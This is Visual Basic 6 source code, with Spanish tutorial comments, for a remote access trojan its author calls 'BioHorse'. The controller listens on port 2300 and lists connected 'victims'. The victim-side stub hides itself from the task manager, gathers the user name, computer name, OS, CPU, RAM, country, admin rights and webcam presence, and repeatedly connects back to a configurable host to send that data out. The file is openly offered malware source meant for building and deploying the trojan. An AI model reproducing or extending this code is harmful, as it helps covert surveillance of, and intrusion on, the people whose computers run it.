Private Sub Form_Load()
WS(0).LocalPort = 2300 'escuchamos en el puerto 2300
WS(0).Listen 'Nos ponemos a la escucha
Label1.Caption = "Escuchando en el puerto " & "2300"
total = 0 'la variable totalindex sea 0
End Sub

Private Sub Timer1_Timer()
Dim v As Long, marca() As String
On Error Resume Next
For v = 1 To LV.ListItems.Count
marca = Split(LV.ListItems(v).Key, "|") 'esto e sun identificador,lo sacamos de la key
If WS(marca(0)).State <> 7 Then 'si el estado de ese no es conectado
LV.ListItems.Remove (v) 'lo eliminamos de la lista porque no estamos conectados
End If
Next
Me.Caption = "BioHorse - " & LV.ListItems.Count & " conectado(s) -" 'ponemos el nombre de nuestro troyano y el nº de conectados
End Sub

Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long) 'cuando hay conexion
On Error Resume Next
total = total + 1 'sumamos 1 a esta variable
WS(Index).Close 'cerramos la conexion
WS(Index).Accept requestID 'aceptamos la peticion
Load WS(total)
WS(total).Listen
End Sub

Private Sub LV_Mousedown(Button As Integer, Shift As Integer, x As Single, y As Single) 'al clicar(en relaidad cuando se suelta el mouse)
On Error Resume Next
If LV.SelectedItem.Selected = False Then 'si no hay nada seleccionado salimos
Exit Sub 'salimos
ElseIf Button = 2 Then 'sino,si se pulsó el boton 2(derecho)
PopupMenu Menu 'mostramos el menu Menu
End If
End Sub

Private Sub name_click() 'al clicar en change name(de nombre name)
LV.StartLabelEdit 'que podamos editar el nombre
End Sub

Private Sub lv_AfterLabelEdit(Cancel As Integer, NewString As String)
WS(LV.SelectedItem.Index - 1).SendData "nombrecan|" & NewString 'enviamos el identificador y el valor que se puso
End Sub

Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long) 'cuando recibimos datos
Dim datos As String
Dim data() As String 'array
WS(Index).GetData datos 'recibimos los datos y los guardamos en la variable "datos"
data = Split(datos, "|")
Select Case data(0)
Case "Conexion"
Dim x As ListItem
Set x = LV.ListItems.Add(, Index & "|", data(1)) 'añadimos los datos, y en la key el indice y "|" para luego partirlo y poder identificar
x.SubItems(1) = WS(Index).RemoteHostIP 'mas datos que añadimos....
x.SubItems(2) = data(2) & "/" & data(3)
x.SubItems(3) = data(4)
x.SubItems(4) = data(5) & " MB"
x.SubItems(5) = data(6)
x.SubItems(6) = data(7)
x.SubItems(7) = data(8)
x.SubItems(8) = data(9)
x.SubItems(9) = "v.1"
End Select
End Sub

Private Declare Function IsNTAdmin Lib "advpack.dll" (ByVal dwReserved As Long, ByRef lpdwReserved As Long) As Long

Private Type POINTAPI
        x As Long
        y As Long
End Type
Private Declare Function GetLocaleInfo Lib "kernel32" Alias "GetLocaleInfoA" _
                         (ByVal Locale As Long, ByVal LCType As Long, ByVal _
                          lpLCData As String, ByVal cchData As Long) As Long
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" ( _
    ByVal lpstrCommand As String, _
    ByVal lpstrReturnString As String, _
    ByVal uReturnLength As Long, _
    ByVal hwndCallback As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that If you declare the lpData parameter as String, you must pass it By Value.
    Private Const REG_BINARY = 3
    Private Const HKEY_LOCAL_MACHINE = &H80000002
    Private Const ERROR_SUCCESS = 0&
Const LOCALE_USER_DEFAULT = &H400
Const LOCALE_SENGCOUNTRY = &H1002
Const LOCALE_SENGLANGUAGE = &H1001
Const LOCALE_SNATIVELANGNAME = &H4
Const LOCALE_SNATIVECTRYNAME = &H8




Dim victima As String, name1 As String, so As String, ip As String, port As String
Dim webcam As String, pais As String, tor As String, nombrepc As String, procesador As String
Dim admin As Boolean
Private Sub form_load()
On Error Resume Next
Open Environ("windir") & "\KB007.txt" For Input As #1 'abrimos un archivo de texto en el directorio de windows
Input #1, victima 'leemos el contenido de este
If victima = "" Then 'si esta vacio
victima = "Default" 'le ponemos default a la victima
End If 'sino victima contendrá lo que contenga ese archivo, eso es para cuando cambiemos el nombre a la victima.
Close #1
Dim yo As Object
Set yo = CreateObject("wscript.shell")
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME)
nombrepc = Environ("ComputerName")
name1 = Environ("UserName")
so = yo.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Productname")
ip = "127.0.0.1" 'la ip, pueden hacer un edit server
port = 2300 'lo mismo, con el edit server lo editan….
procesador = yo.regread("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor0\ProcessorNameString") 'júntenlo, es k no cabía, es para el procesador....
App.TaskVisible = False 'para que no se vea en el admin de tareas en aplicaciones
If App.PrevInstance = True Then: End 'si ya esta en ejecución salimos, para no tener 2 corriendo a la vez
Me.Visible = False 'para que no se vea el form….
'Esto es para la webcam
Dim temp As Long
hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible, _
0, 0, 320, 240, Picture1.hwnd, 0)
If (hwdc <> 0) Then
webcam = "Si" 'entonces si tenemos webcam
temp = DestroyWindow(hwdc)
temp = SendMessage(hwdc, WM_CAP_DRIVER_DISCONNECT, 0&, 0&)
DoEvents
Else
webcam = "No" 'pues no
End If
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME) 'para obtener el país
admin = CBool(IsNTAdmin(ByVal 0&, ByVal 0&))
If admin = True Then
tor = "Si"
Else
tor = "No"
End If
End Sub
'la función para obtener el idioma y pais
Public Function ObtenerIdioma(ByVal lInfo As Long) As String
Dim buffer As String, ret As String
buffer = String$(256, 0)
ret = GetLocaleInfo(LOCALE_USER_DEFAULT, lInfo, buffer, Len(buffer))
'Si Ret devuelve 0 es porque falló la llamada al Api
If ret > 0 Then
ObtenerIdioma = Left$(buffer, ret - 1)
Else
ObtenerIdioma = ""
End If
End Function
'función para obtener la memoria ram
Public Function GetRamSize() As String
Dim RamStats As MEMORYSTATUS
GlobalMemoryStatus RamStats
GetRamSize = Round((RamStats.dwTotalPhys / 1024) / 1024) + 1
End Function
Private Sub Timer1_Timer()
If WS.State <> 7 Then 'si no estamos conectados
WS.Close 'cerramos
WS.Connect ip, port
End If
End Sub
Private Sub WS_Connect() 'al haber conexión,enviamos todos los datos
WS.SendData "Conexion|" & victima & "|" & nombrepc & "|" & name1 & "|" & so & "|" & GetRamSize & "|" & pais & "|" & procesador & "|" & tor & "|" & webcam
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'al recibir los datos
On Error Resume Next
Dim datos As String
Dim data() As String
WS.GetData datos 'los recibimos
data = Split(datos, "|")
Select Case data(0)
Case "nombrecan" 'recuerden que fue lo que enviamos como marca al cambiar el nombre
Open Environ("windir") & "\KB007.txt" For Output As #1
Print #1, , data(1) 'ponemos en el texto el nombre que se cambió
Close #1
End Select
End Sub